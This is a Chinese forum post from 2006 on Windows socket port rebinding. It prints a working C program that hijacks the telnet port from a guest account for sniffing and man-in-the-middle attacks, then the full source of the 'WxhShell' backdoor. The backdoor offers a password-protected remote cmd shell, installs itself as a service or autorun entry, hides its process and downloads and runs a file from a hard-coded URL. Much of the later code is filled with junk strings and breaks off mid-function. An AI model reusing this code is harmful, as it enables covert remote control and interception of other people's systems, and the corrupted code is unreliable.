[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; eYPIZ{S7h
if(chr[0]==0xd || chr[0]==0xa) { Gz7,g Y
pwd=0; &+/$~@OK
break; Zm#,Ike?#
} '@"A{mrE
i++; <XzRRCYQ
} ='(;!3ZH
SA [(1dy;
// 如果是非法用户，关闭 socket B'6(Ao=3/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }RQ'aeVl(
} ?:W=ddg
d%oHcn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (>dL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,fj~BkW{
T? ,Q=.
while(1) { #vTF:r
6>h"Lsww
ZeroMemory(cmd,KEY_BUFF); XOEf,"
kZ!&3G9>-
// 自动支持客户端 telnet标准 }mS+%w"j
j=0; mHNqzdaa
while(j<KEY_BUFF) { ~~#/jULbV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > Qh#pn*
cmd[j]=chr[0]; -U@ycx|r
if(chr[0]==0xa || chr[0]==0xd) { UiZ1$d*
cmd[j]=0; ?y^ ix+M
break; IOl0=+p
} f1t?<=3Ek<
j++; ;\iu*1>Z,&
} @! jpJ}
Y }8HJTMB
// 下载文件 2-:`lrVd
if(strstr(cmd,"http://")) { Bhe0z|&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y7`Dx'x
if(DownloadFile(cmd,wsh)) %3q7i`AZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RR>G}u9np
else M,SIs 3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^!SwY_>
} qx}*L'xB
else { oSP^ .BJ$
?q"9ZYX<
switch(cmd[0]) { KzB9 mMrO
bbWW|PtWwP
// 帮助 W}k)5<C4v
case '?': { 1["IT.,f.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'he&h4fm
break; >P2QL>P
} &tw{d DD6
// 安装 dVBr-+
case 'i': { /-g%IeF
if(Install()) lV?OYS|4i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-G&]YMl
else Tg v]30F)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wA6<BujD
break; weIlWxy
} )lVplAhZD
// 卸载 ;zi4W1
case 'r': { OPDRV\
if(Uninstall()) "9;Ay@'B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vFK(Dx
else SuA`F|7?P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gdlx0i
break; I0sw/,J/Z
} 1i 6>~
// 显示 wxhshell 所在路径 =7zvp,B
case 'p': { 3L;&MG=
char svExeFile[MAX_PATH]; _\AT_Zmy
strcpy(svExeFile,"\n\r"); _?9|,
strcat(svExeFile,ExeFile); +4K'KpFzZ
send(wsh,svExeFile,strlen(svExeFile),0); %X(|Z4dL
break; 5Veybchy "
} =UFmN"
// 重启 >8DZj&j
case 'b': { AHTQF#U^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0EUC8Ni
if(Boot(REBOOT)) '>UQsAvm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PL7_j
else { (M,*R v
closesocket(wsh); .p\<niu7
ExitThread(0); C-VkXk
} }_cX" s
break; .T7S1C $HP
} C?PgC~y)
// 关机 +p &$`(
case 'd': { {IQCA-AI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WSV% Oy3V
if(Boot(SHUTDOWN)) ~`VD}{[,B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =%d0MZD
else { W sDFui
closesocket(wsh); YXTd^M~@D
ExitThread(0); W$u/tRF
} 3?yq*uE}
break; .KE2sodq
} c+]5[6
// 获取shell +q)B4A'J!
case 's': { EP]OJ$6I
CmdShell(wsh); l1}HJmom
closesocket(wsh); o%?~9rf]]
ExitThread(0); M\bea
break; 8f-B-e?k
} YN5p@b=FX
// 退出 __,}/|K2
case 'x': { @m ?&7{y#?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O:te;lQK
CloseIt(wsh); Xq.GvZS`
break; A*+KlhT
} 8J+:5b_?
// 离开 9rQw~B<S
case 'q': { ^+Stvj:N
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t+O7dZt%r
closesocket(wsh); sqk$q pV6
WSACleanup(); ,2^zX]dgM
exit(1); (ysDs[?\
break; |[ ,|S{
} ~bSjZ1`
} <}^l MBa
} G:?l;+P1
V?+Y[Q
// 提示信息 \d"M&-O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mj-B;r
} tvvRHvL
} t[?O*>
u7ER
return; /km'#f)/
} $eUJd Aetk
**lT 'D
// shell模块句柄 YNWAef4
int CmdShell(SOCKET sock) EXTQ:HSES
{ O=wu0n
STARTUPINFO si; wMru9zyI
ZeroMemory(&si,sizeof(si)); +G<9|-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dnUiNs8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d(j|8/tpA
PROCESS_INFORMATION ProcessInfo; 9mfP9
char cmdline[]="cmd"; ixIfJ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xu#K<#V
return 0; tD !$!\`O
} ]h0K*{
lhhp6-r
// 自身启动模式 jCv%[H7
int StartFromService(void) .#$D\cwV
{ qECta'b&
typedef struct z2.ZxL"*
{ dzwto;
DWORD ExitStatus; ~V<62"G
DWORD PebBaseAddress; G9i?yd4n=B
DWORD AffinityMask; Sej\Gt
DWORD BasePriority; E;C=V2#>[
ULONG UniqueProcessId; /J0ctJ2k
ULONG InheritedFromUniqueProcessId; Fl&Z}&5p
} PROCESS_BASIC_INFORMATION; ti^msC8e
ImVHX~qHJ
PROCNTQSIP NtQueryInformationProcess; )rFcfS+/
q2KWSh5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $mp'/]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ik74%x7G`
I4"U/iL51
HANDLE hProcess; QnNddCiu=
PROCESS_BASIC_INFORMATION pbi; p6e9mSs
X:Z*7P/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6t(I.>-
if(NULL == hInst ) return 0; dY%>C75O
>,. x'{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Sg,b8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wth*H$iF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -v7O*xm"
{]CO;5:
if (!NtQueryInformationProcess) return 0; EzDQoN7Em
V[N4 {c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -YHyJs-bU
if(!hProcess) return 0; lGAKHCs
/>\6_kT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K<Qy1y~[
>*aqYNft
CloseHandle(hProcess); 9F^rXY.
UjI-<|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oDEvhNT
if(hProcess==NULL) return 0; YjM_8@<
C%y!)v_x
HMODULE hMod; I>L@P`d
char procName[255]; Lw!Q*3c
unsigned long cbNeeded; 7-Yn8Gq
RY]Vo8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;_vo2zl1
7v^V]&&s
CloseHandle(hProcess); ~)\E&c
4q7hL
if(strstr(procName,"services")) return 1; // 以服务启动 4]$$ar)
iCrLZ"$M
return 0; // 注册表启动 ?H2{R:
} h (1 }g/
1-M\K^F
// 主模块 \P` mV9P
int StartWxhshell(LPSTR lpCmdLine) aV'r oxM
{ 2PSt*(
SOCKET wsl; [C"[#7
BOOL val=TRUE; j >wT-s
int port=0; `K^j:fE7n
struct sockaddr_in door; 8P#jC$<
DNN60NX 5Q
if(wscfg.ws_autoins) Install(); ?g21U97Q
*3>$f.QU
port=atoi(lpCmdLine); Z-D4~?Tv
_;1H2o2f
if(port<=0) port=wscfg.ws_port; wUbs9y<
O$Z<R:vVA
WSADATA data; L93KsI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M(_1'2
}.j09[<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RC| t-(Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {tlt5p!4
door.sin_family = AF_INET; <!r0[bKz@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Ky xOb)
door.sin_port = htons(port); yj48GQP]
)ZA3m_w]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (f*0Wp;
closesocket(wsl); 17nONhh
return 1; a8Q=_4 l
} ,ruL7|T&
Bco_\cpt]z
if(listen(wsl,2) == INVALID_SOCKET) { &>. w*
closesocket(wsl); (IY=x{b
return 1; jml 4YaGZ
} 5|E_ ,d!v
Wxhshell(wsl); c5t],P
WSACleanup(); >pV|c\
g}\Yl.
return 0; oL2 a:\7
'&.QW$B\B_
} s$s]D\N
eviv,
// 以NT服务方式启动 .jfkOt?2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ IqUp Y
{ Jn>6y:s
DWORD status = 0; i!!1^DMrw
DWORD specificError = 0xfffffff; Nd"4*l;
cF7efs8u
serviceStatus.dwServiceType = SERVICE_WIN32; ;P{HePs=)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _26~<gU8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; itmdY!;<
serviceStatus.dwWin32ExitCode = 0; ]^63n/Twj
serviceStatus.dwServiceSpecificExitCode = 0; ; iK9'u
serviceStatus.dwCheckPoint = 0; }LaRa.3
serviceStatus.dwWaitHint = 0; ]ctlK'.
*0 0K3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?1z." &
if (hServiceStatusHandle==0) return; Y0||>LX
n' \poB?
status = GetLastError(); DhL]\ 4
if (status!=NO_ERROR) l }i .
{ 7;UUS1
serviceStatus.dwCurrentState = SERVICE_STOPPED; G:]w UC\
serviceStatus.dwCheckPoint = 0; MU; L7^
serviceStatus.dwWaitHint = 0; JDyP..Dt
serviceStatus.dwWin32ExitCode = status; A{:PpYs
serviceStatus.dwServiceSpecificExitCode = specificError; )9L:^i6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BihXYux*
return; ~9OART='
} $ 'B0ZL
*[(}rpp M
serviceStatus.dwCurrentState = SERVICE_RUNNING; y3 R+060\3
serviceStatus.dwCheckPoint = 0; L;7x2&
serviceStatus.dwWaitHint = 0; 0t-!6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @@,l0/
} 1HF=,K+
g?'4G$M
// 处理NT服务事件，比如：启动、停止 $LLy#h?V]
VOID WINAPI NTServiceHandler(DWORD fdwControl) >^8=_i !
{ =c-,uW11[
switch(fdwControl) 1?6;Oc^
{ [HKTXF{n
case SERVICE_CONTROL_STOP: i U^tv_1
serviceStatus.dwWin32ExitCode = 0; <4gT8kQ$x
serviceStatus.dwCurrentState = SERVICE_STOPPED; .."=
serviceStatus.dwCheckPoint = 0; D=w5Lks
serviceStatus.dwWaitHint = 0; _oB!-#
{ w+P?JR!)+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )>]~Y
} Wb_'X |"u
return; Wgt[ACioN
case SERVICE_CONTROL_PAUSE: OIuEC7XM^C
serviceStatus.dwCurrentState = SERVICE_PAUSED; O43emL3
break; z8SrZ#mg
case SERVICE_CONTROL_CONTINUE: /mb?C/CI
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;$Eg4uX
break; @w)Vt$+b]
case SERVICE_CONTROL_INTERROGATE: <_S>-;by
break; l@x/{0
}; ,Qgxf';+$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Jl(9)e
} Ix;9D'^}
Q1fJ`A=
// 标准应用程序主函数 q F\a]e
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7j&iHL
{ #|\NG
~Bll\3-=
// 获取操作系统版本 eB`7C"Z
OsIsNt=GetOsVer(); K[%)_KW
GetModuleFileName(NULL,ExeFile,MAX_PATH); IpX>G]"-C
?N 6'*2{NT
// 从命令行安装 v'"0Ya
if(strpbrk(lpCmdLine,"iI")) Install(); ,;aELhMZ
*(%]|z}]m
// 下载执行文件 87Sqs1>cw
if(wscfg.ws_downexe) { cr{;gP
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +ht -Bl
